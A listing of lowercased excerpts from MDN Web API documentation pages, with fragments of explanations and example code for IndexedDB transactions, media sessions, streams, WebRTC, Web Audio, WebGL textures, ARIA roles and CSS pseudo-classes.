...result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); // add a listener for `abort` transaction.addeventlistener('abort', () => { console.log('transaction was aborted'); }); // abort the transaction transaction.abort(); }; the same example, but assigning the event handler to the onabort property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore...
...alse }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); // add a listener for `abort` transaction.onabort = (event) => { console.log('transaction was aborted'); }; // abort the transaction transaction.abort(); }; ...
IDBTransaction.commit() - Web APIs
examples // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["mydb"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
...d our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // force the changes to be committed to the database asap transaction.commit(); specification specification status comment indexed database api draftthe definition of 'idbtransaction.commit()' in that specification.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction: complete event - Web APIs
bubbles no cancelable no interface event event handler property oncomplete examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectsto...
...re.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); // add a listener for `complete` transaction.addeventlistener('complete', event => { console.log('transaction was competed'); }); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2019 }; const objectstorerequest = objectstore.add(newitem); }; using the oncomplete property: // open the database ...
...const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a re...
...ad/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); // add a listener for `complete` transaction.oncomplete = event => { console.log('transaction was competed'); }; const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2019 }; const objectstorerequest = objectstore.add(newitem); }; ...
IDBTransaction: error event - Web APIs
bubbles yes cancelable no interface event event handler property onerror examples this example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will c...
...se }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); transaction.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(ne...
...witem); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { cons...
...t db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); transaction.onerror = () => { console.log(`error adding new item: ${newitem.tasktitle}`); }; const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); }; ...
LockedFile - Web APIs
methods lockedfile.getmetadata() allows to retrieve the file metadata (size and date of the last modification).
... lockedfile.write() allows to write some data in the file starting at the location offset.
... lockedfile.append() allows to write some data at the end of the file.
... lockedfile.flush() allows to guarantee that any buffered data has been transferred to disk.
MediaSession - Web APIs
the mediasession interface of the media session api allows a web page to provide custom behaviors for standard media playback interactions, and to report metadata that can be sent by the user agent to the device or operating system for presentation in standardized user interface elements.
...a browser on that device might deliver the metadata provided by calling mediasession to the device in order to be controllable using the global user interface.
... properties metadata returns an instance of mediametadata which contains rich media metadata, for display in a platform ui.
... examples the following example creates a new media session and assigns action handlers to it: if ('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhan...
MerchantValidationEvent.complete() - Web APIs
all you have to do is call complete() from your handler for the merchantvalidation event, passing in the data fetched from the validationurl.
... syntax merchantvalidationevent.complete(validationdata); merchantvalidationevent.complete(merchantsessionpromise); parameters validationdata or merchantsessionpromise an object containing the data needed to complete the merchant validation process, or a promise which resolves to the validation data.
... example in this example, we see the client-side code needed to support merchant validation for a payment request called payrequest: payrequest.onmerchantvalidation = event => { const validationdatapromise = getvalidationdata(event.validationurl); event.complete(validationdatapromise); } function getvalidationdata(url) { /* ...retrieve the validation data from the url...
...the event handler calls a function, getvalidationdata(), which retrieves the data from the validation url, then passes that data (or a promise to deliver the data) into complete().
MessageEvent - Web APIs
webrtc data channels (see rtcdatachannel.onmessage).
... messageevent.data read only the data sent by the message emitter.
...rom it using port.postmessage() and port.onmessage, respectively: first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.textcontent = e.data; console.log('message received from worker'); } inside the worker we use the sharedworkerglobalscope.onconnect handler to connect to the same port discussed above.
... onconnect = function(e) { var port = e.ports[0]; port.addeventlistener('message', function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); }); port.start(); // required when using addeventlistener.
MutationObserverInit - Web APIs
properties at a minimum, one of childlist, attributes, and/or characterdata must be true when you call observe().
... characterdata optional set to true to monitor the specified target node (and, if subtree is true, its descendants) for changes to the character data contained within the node or nodes.
... the default value is true if characterdataoldvalue is specified, otherwise the default value is false.
... characterdataoldvalue optional set to true to record the previous value of a node's text whenever the text changes on nodes being monitored.
MutationRecord - Web APIs
properties property type description mutationrecord.type string returns "attributes" if the mutation was an attribute mutation, "characterdata" if it was a mutation to a characterdata node, and "childlist" if it was a mutation to the tree of nodes.
... for characterdata, it is the characterdata node.
... for characterdata, it is the data of the changed node before the change.
... note that for this to work as expected, attributeoldvalue or characterdataoldvalue must be set to true in the corresponding mutationobserverinit parameter of the mutationobserver observe method specifications specification status comment domthe definition of 'mutationrecord' in that specification.
NDEFRecord - Web APIs
the ndefrecord interface of the web nfc api is an abstract interface that represents data that can be read from or written to compatible nfc devices, e.g.
... ndefrecord.data read only represents the payload of the record.
... ndefrecord.encoding read only represents the encoding name used for encoding the payload in the case it is textual data.
... methods ndefrecord.torecords() coverts ndefrecord.data to sequence of records.
Navigator.mediaSession - Web APIs
the read-only navigator property mediasession returns a mediasession object that can be used to share with the browser metadata and other information about the current playback state of media being handled by a document.
...this information can include typical metadata such as the title, artist, and album name of the song being played as well as potentially one or more images containing things like album art, artist photos, and so forth.
... example in this example, metadata is submitted to the mediasession object.
... if ("mediasession" in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); } specifications specification status comment media session standardthe definition of 'navigator.mediasession' in that specification.
Navigator.share() - Web APIs
WebAPINavigatorshare
syntax var sharepromise = navigator.share(data); parameters data an object containing data to share.
...it will reject immediately if the data parameter is not correctly specified, and will also reject if the user cancels sharing.
...the javascript looks like this: const sharedata = { title: 'mdn', text: 'learn web development on mdn!', url: 'https://developer.mozilla.org', } const btn = document.queryselector('button'); const resultpara = document.queryselector('.result'); // must be triggered some kind of "user activation" btn.addeventlistener('click', async () => { try { await navigator.share(sharedata) resultpara.textcontent = 'mdn shared successfully' } catch(err) { resultpara.textcontent = 'error: ' + err } }); sharing files to share files, first test for and call navigator.canshare().
...the data object passed to canshare() only supports the files property.
PaymentRequest.shippingAddress - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... no compatibility data found.
... please contribute data for "api.paymentrequest.shippingaddress" (depth: 1) to the mdn compatibility data repository.
performance.clearResourceTimings() - Web APIs
the clearresourcetimings() method removes all performance entries with an entrytype of "resource" from the browser's performance data buffer and sets the size of the performance data buffer to zero.
... to set the size of the browser's performance data buffer, use the performance.setresourcetimingbuffersize() method.
...performance data buffer cleared"); else console.log("...
... performance data buffer not cleared!"); } specifications specification status comment resource timing level 1the definition of 'clearresourcetimings()' in that specification.
RTCIceCandidatePairStats - Web APIs
localcandidateid optional the unique id string corresponding to the rtcicecandidate from the data included in the rtcicecandidatestats object providing statistics for the candidate pair's local candidate.
... remotecandidateid optional the unique id string corresponding to the remote candidate from which data was taken to construct the rtcicecandidatestats object describing the remote end of the connection.
... readable optional a boolean value indicating whether or not data can be sent over the connection described by the candidate pair.
... writable optional a boolean value indicating whether or not data can be received on the connection described by the candidate pair.
RTCPeerConnection.sctp - Web APIs
the read-only sctp property on the rtcpeerconnection interface returns an rtcsctptransport describing the sctp transport over which sctp data is being sent and received.
... the sctp transport is used for transmitting and receiving data for any and all rtcdatachannels on the peer connection.
... syntax var sctp = rtcpeerconnection.sctp; value a rtcsctptransport object describing the sctp transport being used by the rtcpeerconnection for transmitting and receiving on its data channels, or null if sctp negotiation hasn't happened.
... example var pc = new rtcpeerconnection(); var channel = pc.createdatachannel("mydata"); channel.onopen = function(event) { channel.send('sending a message'); } channel.onmessage = function(event) { console.log(event.data); } // determine the largest message size that can be sent var sctp = pc.sctp; var maxmessagesize = sctp.maxmessagesize; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.sctp' in that specification.
RTCRtpCapabilities - Web APIs
the rtcrtpcapabilities dictionary is a data type used to describe the capabilities of an rtcrtpsender or rtcrtpreceiver in response to a call to the rtcrtpsender.getcapabilities() or rtcrtpreceiver.getcapabilities() static functions, both of which return an array of rtcrtpcapabilities objects.
...those components are: red (redundant audio data) the media type of an red entry may vary due to there being several versions of it, but it will end with red, such as video/red or video/fwdred.
... fec (forward error correction) an fec component handles error correction data; its media type may also vary due to there being advanced versions of the standard available, but it will always end with fec.
... rtx (retransmission) this component is responsible for retransmission of data; it's media type should be video/rtx.
ReadableStream - Web APIs
the readablestream interface of the streams api represents a readable stream of byte data.
...each of those streams receives the same incoming data.
... fetch("https://www.example.org/").then((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" reader.read().then(({ done, value }) => { // is there no more data to read?
... if (done) { // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestream' in that specification.
ReadableStreamDefaultReader.cancel() - Web APIs
cancel is used when you've completely finished with the stream and don't need any more data from it, even if there are chunks enqueued waiting to be read.
... that data is lost after cancel is called, and the stream is not readable any more.
... function fetchstream() { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data.
... // value - some data.
SVGElement - Web APIs
px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance svgelement.datasetread only a domstringmap object which provides a list of key/value pairs of named data attributes which correspond to custom data attributes attached to the element.
... these can also be defined in svg using attributes of the form data-*, where * is the key name for the pair.
... this works just like html's htmlelement.dataset property and html's data-* global attribute.
... candidate recommendation adds the dataset property.
SVGLength - Web APIs
WebAPISVGLength
svg length interface the svglength interface correspond to the <length> basic data type.
... svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval; // read x in pixel and cm units console.log("value: " + val.value + ", valueinspecifiedunits: " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // set x = 20pt and read it out in pixel and pt units val.newvaluespecifieduni...
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScriptProcessorNode.bufferSize - Web APIs
example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
...on = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request...
.../ the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] = inputdata[sample]; // add noise to each output sample outputdata[sample] += ((math.random() * 2) - 1) * 0...
....2; } } } getdata(); // wire up play button playbutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'buffersize' in that specification.
ScriptProcessorNode.onaudioprocess - Web APIs
} example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
...ocument.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } requ...
.../ the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] = inputdata[sample]; // add noise to each output sample outputdata[sample] += ((math.random() * 2) - 1) * 0...
....2; } } } getdata(); // wire up play button playbutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'onaudioprocess' in that specification.
Server-sent events - Web APIs
traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server.
... with server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page.
... these incoming messages can be treated as events + data inside the web page.
... interfaces eventsource defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc.
SourceBuffer - Web APIs
this is a timestamp range that can be used to filter what media data is appended to the sourcebuffer.
... sourcebuffer.appendbuffer() appends media segment data from an arraybuffer or arraybufferview object to the sourcebuffer.
... sourcebuffer.appendstream() appends media segment data from a readablestream object to the sourcebuffer.
... sourcebuffer.changetype() changes the mime type that future calls to appendbuffer() will expect the new data to conform to.
Storage - Web APIs
WebAPIStorage
it allows, for example, the addition, modification, or deletion of stored data items.
... properties storage.length read only returns an integer representing the number of data items stored in the storage object.
...we first test whether the local storage contains data items using !localstorage.getitem('bgcolor').
... if it does, we run a function called setstyles() that grabs the data items using storage.getitem() and uses those values to update page styles.
USBDevice.clearHalt() - Web APIs
a halt condition is when a data tranfer to or from the device has a status of 'stall', which requires the web page (the host system, in usb terminology) to clear that condition.
... example the following example shows how to test for and clear a 'stall' condition in the result of a data transfer.
... what data can be passed to a usb device and how it is passed is particular and unique to each device.
... while (true) { let result = await data.transferin(1, 6); if (result.data && result.data.bytelength === 6) { console.log('channel 1: ' + result.data.getuint16(0)); console.log('channel 2: ' + result.data.getuint16(2)); console.log('channel 5: ' + result.data.getuint16(4)); } if (result.status === 'stall') { console.warn('endpoint stalled.
USBInTransferResult - Web APIs
it represents the result from requesting a transfer of data from the usb device to the usb host.
... constructor usbintransferresult.usbintransferresult() creates a new usbintransferresult object with the provided status and data fields.
... properties usbintransferresult.dataread only returns a dataview object containing the data received from the usb device, if any.
... "babble" - the device responded with more data than was expected.
USBIsochronousInTransferPacket - Web APIs
it represents the status of an individual packet from a request to transfer data from the usb device to the usb host over an isochronous endpoint.
... constructor usbisochronousintransferpacket.usbisochronousintransferpacket() creates a new usbisochronousintransferpacket object with the provided status and data fields.
... properties usbisochronousintransferpacket.dataread only read only returns a dataview object containing the data received from the usb device in this packet, if any.
... "babble" - the device responded with more data than was expected.
WebGLRenderingContext.pixelStorei() - Web APIs
pixel storage parameters parameter name (for pname) description type default value allowed values (for param) specified in gl.pack_alignment packing of pixel data into memory glint 4 1, 2, 4, 8 opengl es 2.0 gl.unpack_alignment unpacking of pixel data from memory.
... glint 4 1, 2, 4, 8 opengl es 2.0 gl.unpack_flip_y_webgl flips the source data along its vertical axis if true.
... glint 0 0 to infinity opengl es 3.0 gl.unpack_image_height image height used for reading pixel data from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_skip_pixels number of pixel images skipped before the first pixel is read from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_skip_rows number of rows of pixel locations skipped before the first pixel is read from memory glint 0 0 to infinity opengl es 3.0 gl.unpack...
... var tex = gl.createtexture(); gl.bindtexture(gl.texture_2d, tex); gl.pixelstorei(gl.pack_alignment, 4); to check the values for packing and unpacking of pixel data, you can query the same pixel storage parameters with webglrenderingcontext.getparameter().
Using textures in WebGL - Web APIs
1.0, 0.0, 1.0, // back 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // top 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // bottom 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // right 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // left 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, ]; gl.bufferdata(gl.array_buffer, new float32array(texturecoordinates), gl.static_draw); ...
... once we've set up the texture mapping array, we pass the array into the buffer, so that webgl has that data ready for its use.
... the vertex shader we need to replace the vertex shader so that instead of fetching color data, it instead fetches the texture coordinate data.
... first, the code to specify the colors buffer is gone, replaced with this: // tell webgl how to pull out the texture coordinates from buffer { const num = 2; // every coordinate composed of 2 values const type = gl.float; // the data in the buffer is 32 bit float const normalize = false; // don't normalize const stride = 0; // how many bytes to get from one set to the next const offset = 0; // how many bytes inside the buffer to start from gl.bindbuffer(gl.array_buffer, buffers.texturecoord); gl.vertexattribpointer(programinfo.attriblocations.texturecoord, num, type, normalize, stride, offset); gl.enab...
WebRTC connectivity - Web APIs
this article describes how the various webrtc-related protocols interact with one another in order to create a connection and transfer data and/or media among peers.
...this information is exchanged and stored using session description protocol (sdp); if you want details on the format of sdp data, you can find it in rfc 2327.
...in this way, both devices share with one another the information needed in order to exchange media data.
...each protocol supports a few types of candidate, with the candidate types defining how the data makes its way from peer to peer.
Introduction to WebRTC protocols - Web APIs
it needs to bypass firewalls that would prevent opening connections, give you a unique address if like most situations your device doesn’t have a public ip address, and relay data through a server if your router doesn’t allow you to directly connect with peers.
...so that both peers can understand each other once the data is transferring.
... this is, in essence, the metadata describing the content and not the media content itself.
... technically, then, sdp is not truly a protocol, but a data format used to describe connection that shares media between devices.
Taking still photos with WebRTC - Web APIs
that code looks like this: function clearphoto() { var context = canvas.getcontext('2d'); context.fillstyle = "#aaa"; context.fillrect(0, 0, canvas.width, canvas.height); var data = canvas.todataurl('image/png'); photo.setattribute('src', data); } we start by getting a reference to the hidden <canvas> element that we use for offscreen rendering.
...the code looks like this: function takepicture() { var context = canvas.getcontext('2d'); if (width && height) { canvas.width = width; canvas.height = height; context.drawimage(video, 0, 0, width, height); var data = canvas.todataurl('image/png'); photo.setattribute('src', data); } else { clearphoto(); } } as is the case any time we need to work with the contents of a canvas, we start by getting the 2d drawing context for the hidden canvas.
... then, if the width and height are both non-zero (meaning that there's at least potentially valid image data), we set the width and height of the canvas to match that of the captured frame, then call drawimage() to draw the current frame of the video into the context, filling the entire canvas with the frame image.
... once the canvas contains the captured image, we convert it to png format by calling htmlcanvaselement.todataurl() on it; finally, we call photo.setattribute() to make our captured still box display the image.
Fundamentals of WebXR - Web APIs
this includes both managing the process of rendering the views needed to simulate the 3d experience and the ability to sense the movement of the headset or other motion sensing apparatus to provide the needed data to let you update the imagery shown to the user based on that movement.
... webxr is not a rendering technology, and provides no features for actually managing 3d data or rendering it to the display.
... important health and safety reminders because the entire act of creating a virtual 3d world is, in essence, a trick which takes advantage of our understanding of how eyes collect light and how the brain interprets the collected data, it is important to keep in mind that as such, software designers and developers have a responsibility to be even more careful than usual to ensure that the results are correct.
... the role of frameworks because 3d graphics—and mixed reality in particular—involve a lot of often intricate math, data management, and other complex tasks, it's unlikely that you'll directly use webgl to render your scene in most cases.
Using the Web Audio API - Web APIs
note: if you just want to process audio data, for instance, buffer and stream it but not play it, you might want to look into creating an offlineaudiocontext.
...we have a play button that changes to a pause button when the track is playing: <button data-playing="false" role="switch" aria-checked="false"> <span>play/pause</span> </button> before we can play our track we need to connect our audio graph from the audio source/input node to the destination.
... // select our play button const playbutton = document.queryselector('button'); playbutton.addeventlistener('click', function() { // check if context is in suspended state (autoplay policy) if (audiocontext.state === 'suspended') { audiocontext.resume(); } // play or pause track depending on state if (this.dataset.playing === 'false') { audioelement.play(); this.dataset.playing = 'true'; } else if (this.dataset.playing === 'true') { audioelement.pause(); this.dataset.playing = 'false'; } }, false); we also need to take into account what to do when the track finishes playing.
... our htmlmediaelement fires an ended event once it's finished playing, so we can listen for that and run code accordingly: audioelement.addeventlistener('ended', () => { playbutton.dataset.playing = 'false'; }, false); modifying sound let's delve into some basic modification nodes, to change the sound that we have.
Using the Web Speech API - Web APIs
e then loop through this list — for each voice we create an <option> element, set its text content to display the name of the voice (grabbed from speechsynthesisvoice.name), the language of the voice (grabbed from speechsynthesisvoice.lang), and -- default if the voice is the default voice for the synthesis engine (checked by seeing if speechsynthesisvoice.default returns true.) we also create data- attributes for each option, containing the name and language of the associated voice, so we can grab them easily later on, and then append the options as children of the select.
... function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } when we come to run the function, we do the following.
...we then use this element's data-name attribute, finding the speechsynthesisvoice object whose name matches this attribute's value.
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); in the final part of the handler, we include an speechsynthesisutterance.onpause handler to demonstrate how speechsynthesisevent can be put to good use.
WritableStreamDefaultWriter.ready - Web APIs
the first uses ready to ensure that the writablestream is done writing and thus able to receive data before sending a binary chunk.
... function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter var defaultwriter = writablestream.getwriter(); var encoder = new textencoder(); var encoded = encoder.encode(message, {stream: true}); encoded.foreach(function(chunk) { // make sure the stream and its writer are able to // receive data.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
msCaching - Web APIs
WebAPImsCaching
the mscaching read/write property specifies whether stream data downloaded using xmlhttprequestis cached to disk or not.
... syntax cachestate = object.mscaching values type: domstring property value description auto disables caching for stream or ms-stream data.
... enabled enables caching for stream or ms-stream data.
... disabled disables caching for any data.
ARIA: cell role - Accessibility
a cell can contain a number of property attributes clarifying the cell's position within the tabular data structure, including aria-colindex, aria-colspan, aria-rowindex, and aria-rowspan.
...table identifies the cell as being part of a non-interactive table structure containing data arranged in rows and columns, similar to the native html <table> element.
...grid identifies a cell as being part of a possibly interactive table structure containing data arranged in rows and columns, similar to the native <table> html element.
... best practices only use table, tbody, thead, tr, th, td, etc., for data table structure.
:valid - CSS: Cascading Style Sheets
WebCSS:valid
this allows to easily make valid fields adopt an appearance that helps the user confirm that their data is formatted properly.
... syntax :valid examples indicating valid and invalid form fields in this example, we use structures like this, which include extra <span>s to generate content on; we'll use these to provide indicators of valid/invalid data: <div> <label for="fname">first name *: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> to provide these indicators, we use the following css: input + span { position: relative; } input + span::before { position: absolute; right: -20px; top: 5px; } input:invalid { border: 2px solid red; } input:invalid + span::before { content: '✖'; color: red; } input:v...
...we then absolutely position different generated content depending on whether the form's data is valid or invalid — a green check or a red cross, respectively.
... to add a bit of extra urgency to the invalid data, we've also given the inputs a thick red border when invalid.
<frequency> - CSS: Cascading Style Sheets
WebCSSfrequency
the <frequency> css data type represents a frequency dimension, such as the pitch of a speaking voice.
... syntax the <frequency> data type consists of a <number> followed by one of the units listed below.
... note: this data type was initially introduced in css level 2 for the now-obsolete aural media type, where it was used to define the pitch of the voice.
... however, the <frequency> data type has been reintroduced in css3, though no css property is using it at the moment.
Live streaming web audio and video - Developer guides
live streamed media lacks a finite start and end time as rather than a static file, it is a stream of data that the server passes on down the line to the browser and is often adaptive (see below).
...the idea is that the data transfer rate is monitored and if it looks like it's not keeping up, we drop down to a lower bandwidth (and consequently lower quality) stream.
... note: some vendors implement propriety transport protocols, such as realnetworks and their real data transport (rdt).
...this contains the metadata for the various sub-streams that are provided.
Audio and Video Delivery - Developer guides
